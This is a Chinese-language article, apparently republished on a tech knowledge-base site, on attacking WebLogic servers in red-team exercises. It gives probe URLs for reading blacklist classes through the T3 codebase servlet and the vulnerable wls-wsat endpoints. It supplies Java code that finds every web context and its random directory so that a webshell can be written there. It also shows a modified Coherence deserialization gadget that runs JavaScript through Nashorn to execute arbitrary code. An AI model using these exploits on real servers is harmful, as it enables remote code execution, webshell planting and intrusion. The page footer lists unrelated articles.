weblogic攻击手法有哪些

简介

weblogic服务器的特点为架构庞大复杂,蓝队一般很难防御,且多部署于外网。而且weblogic的攻击成本比较低,只要存在漏洞,一般可以直接获取目标服务器的root权限。在攻防演习中被各大攻击队,防守方重点关注。

当然,目前网上公开的各种exp程序,当然也包括我自己的工具,或多或少都有点问题。于是近期在朋友的要求下,整理了部分攻击方法以及”完美“利用。红队可以用来完善自己的工具,蓝队可以用来写溯源报告。

一、探测weblogic是否存在漏洞

目前网上公开的资料中,没有一种比较好的方法去判断weblogic是否存在漏洞。通常各类工具做法是用exp打一遍,如果成功了则自然存在漏洞,如果失败了则不存在漏洞。再或者,通过dnslog的方式去探测。这两种方法受限于各种因素,导致漏报误报的比例很高。还有可能触发蜜罐,waf等等安全设备的规则。

当然在这里我介绍一种更简便的方式去查看是否存在漏洞,那就是利用T3 RMI的CODEBASE功能查看weblogic的黑名单 。

codebase: 简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。

那我们是不是可以发散一下思维,如果这个类是weblogic的黑名单类呢??而且weblogic的codebase利用http协议去传输类。

利用方法如下,使用你的浏览器,确认好对方是weblogic服务器后,url如下

T3反序列化的黑名单http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class

xmldecoder 黑名单http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

1.1 T3 codebase分析

weblogic.rjvm.InternalWebAppListener#contextInitialized处代码,注册处理codebase的代码,也就是请求路径为classes

if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}

下面我们来看一下weblogic.servlet.ClasspathServlet的处理代码,很简单,就是读取类名然后写入到http响应中。

weblogic攻击手法有哪些

当然,这里是不是也存在任意文件读取漏洞呢?答案是的,只不过有一个黑名单,禁止某些后缀的文件被读取。黑名单列表如下

weblogic攻击手法有哪些

理论上讲,你也可以通过CODEBASE去读取用户的类下载到本地做代码分析。前提是你需要知道用户的类名是什么。当然,也有黑名单,黑名单如下

weblogic攻击手法有哪些

二、weblogic xmldecoder反序列化漏洞

漏洞不做过多介绍,在这里不谈该漏洞的成因原理以及分析。

漏洞探测的url

/wls-wsat/CoordinatorPortType

RegistrationPortTypeRPC

ParticipantPortType

RegistrationRequesterPortType

CoordinatorPortType11

RegistrationPortTypeRPC11

ParticipantPortType11

RegistrationRequesterPortType11

该漏洞利用的难点我认为有如下几个方面

1.网上只有回显代码,没有利用代码,例如内存马

2.写马的话,可能会遇到路径的问题。wenlogic的路径为随机,目前网上公开的解决办法是爆破。

3.怎么寻找所有的Context?

下面我们来一一解决,以weblogic 10.x的exp为例

xmldecoder的xml payload做了以下的工作

1.调用weblogic.utils.Hex.fromHexString函数,将hex编码的class文件转换为二进制格式

2.调用org.mozilla.classfile.DefiningClassLoader的defineClass方法,将上面的class文件加载到虚拟机中

3.调用newInstance方法生成上面被添加至JVM的类的实例

4.调用实例的方法以完成攻击

payload其实你知道稍微看一下,就知道xmldecoder的写法,这里就不再赘述

上面所有的问题,其实都可以归结为一个问题,那就是怎么寻找weblogic下,所有web应用的上下文?

在这里我公开一个方法,该方法在weblogic 10/12下经过测试,且不受协议影响,也就是说,你只要能在weblogic里执行代码,我就可以获取weblogic所有的webcontext。 代码如下

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<WebAppServletContext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {

Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;

2.1 获取随机路径

利用上面的代码,获取到weblogic 加载的所有的web context后,我们可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置,然后写入webshell。

我的代码如下

List<WebAppServletContext> contexts = findAllContext();
Iterator<WebAppServletContext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30sturl %30stDocroot %sn", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

returnnew ByteArrayInputStream((sb.toString()).getBytes());

截图如下

weblogic攻击手法有哪些

2.2 weblogic 12.x payload

weblogic 12.x 中,没有org.mozilla.classfile.DefiningClassLoader这个类,况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式,那就是通过java调用js。

从 JDK 1.8 开始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性,其中包含在 JDK 7 中引入的 invokedynamic,将 JavaScript 编译成 Java 字节码。

注意,不支持1.5以及1.5以下的JVM

在java执行js时,可以调用任意java对象,方法,类。需要注意的是,java是强类型语言,而js是弱类型语言,js有的时候可能会代码意想不到的类型转换。这里需要注意

只需要将上面加载context的代码,改成js就可以,在这里我贴一张截图

weblogic攻击手法有哪些

在nashorn中,默认最后一个变量作为调用本次js的返回值

三、weblogic T3反序列化

在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具, 。当然也有一点点bug,不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework

漏洞探测的话,参考前面的黑名单下载方式

当然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,无法做到类似于CC链的任意代码执行,目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包,部署恶意代码。

但是我们依旧可以通过反序列化的链式执行,调用nashorn的方式,间接做到任意代码执行。

而我们待执行的js,通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下

weblogic攻击手法有哪些image-20210329124530132

当然,corherence gadget处需要修改成如下

private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)

});
}

看完上述内容,你们掌握weblogic攻击手法哪些的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

文章标题:weblogic攻击手法有哪些,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/28685

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月22日 下午9:55
下一篇 2022年9月22日 下午9:56

相关推荐

  • MySQL数据库子查询语法规则是什么

    子查询是在查询语句里面再嵌套一个查询,这是因为我们在提取数据的时候有很多不知道的数据产生了依赖关系。此时我们就需要先查询一组数据的结果集,然后将这个结果集作用为下一个查询的对象。在 “表连接的章节”,我们曾说过子查询的效率低下的问题,其实并不是所有的子查询效率都是低下的,“WHERE” 子查询在匹配…

    2022年9月2日
    74000
  • 使用ajax要不要引入jquery

    使用ajax不需要引入jquery;ajax全称是“Asynchronous javascript and XML”,也即异步JavaScript和XML,是指一种创建交互网页应用的网页开发技术,JavaScript原本就支持ajax,若是使用原生的ajax请求,当然不需要引入jquery。 本文操…

    2022年8月31日
    71400
  • frida如何抓apk网络包

    一 . 埋头分析踩坑路 从系统的角度去寻找hook点,而不是为了抓包而抓包。 1.okhttp调用流程 public static final MediaType JSON= MediaType.get(“application/json; charset=utf-8”);OkHttpClient …

    2022年9月8日
    1.4K00
  • uniapp地图组件map怎么使用

    首先引入map组件 <template> <view class=”content”> <map :layer-style=’5′ : :show-location=’true’ :latitude=”latitude” :longitude=”longitude” :…

    2022年9月20日
    95500
  • windows ventoy进不了引导如何解决

    ventoy进不了引导解决方法: 方法一: 1、首先,确保你在bios设置里将U盘设置为启动项了。 2、如果没有设置,那么重启电脑,进入bios的“boot”选项下进行设置。 方法二: 1、如果设置后还不行,那么可能是u盘问题。 2、可以尝试回到系统,右键u盘选择“格式化” 3、然后选择“NTFS格…

    2022年8月27日
    4.5K00
  • windows驱动精灵怎么备份

    驱动精灵驱动备份: 1、打开驱动精灵,点击“百宝箱”。 2、在百宝箱中选择“驱动备份”。 3、点击“修改文件路径”。 4、选择文件的路径,并选择相应的备份设置,点击“确定”。 5、在上方点击“一键备份”即可。 “windows驱动精灵怎么备份”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业…

    2022年9月13日
    54400
  • windows显示器颜色如何校正

    显示器颜色校正的方法: 1、首先点击左下角开始,然后点击“windows系统”打开“控制面板”。 2、然后点击里面的“颜色管理”。 3、在任务选项中点击“高级”。 4、下拉,点击“校准显示器”。 5、最后就可以根据提示进行校准了。 到此,相信大家对“windows显示器颜色如何校正”有了更深的了解,…

    2022年8月27日
    77400
  • html是不是静态页面

    html是静态页面;html表示结构,css表示样式,由HTML与CSS制作的页面叫做静态页面,动态页面指的是动态数据的页面,而非模拟数据的页面,html网页当中的数据均为静态数据,当前端页面与后台整合之后,网页当中的数据是来源于数据库时,则称为动态页面。 本教程操作环境:windows10系统、H…

    2022年9月8日
    72400
  • 路由器wps有哪些优缺点

    路由器wps是“Wi-Fi安全防护设置”的意思;wps是“Wi-Fi Protected Setup”的简称,是由“Wi-Fi”联盟所推出的全新“Wi-Fi”安全防护设定标准,用于简化“Wi-Fi”无线的安全设置和网络管理,支持个人识别码模式和按钮模式。 本教程操作环境:windows10系统、DE…

    2022年9月6日
    82000
  • css的含义有哪些

    css有多种含义:1、层叠样式表,是一种用来表现HTML或XML等文件样式的计算机语言;2、特卫安防集团,是国内少数定位高端安全服务的企业;3、集群交换机系统,是将几台交换机通过专用的集群线缆链接起来,对外呈现为一台逻辑交换机;4、内容扰乱系统,是一种防止直接从盘片上复制视频文件的数据加密和鉴定方法…

    2022年9月22日
    63900
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部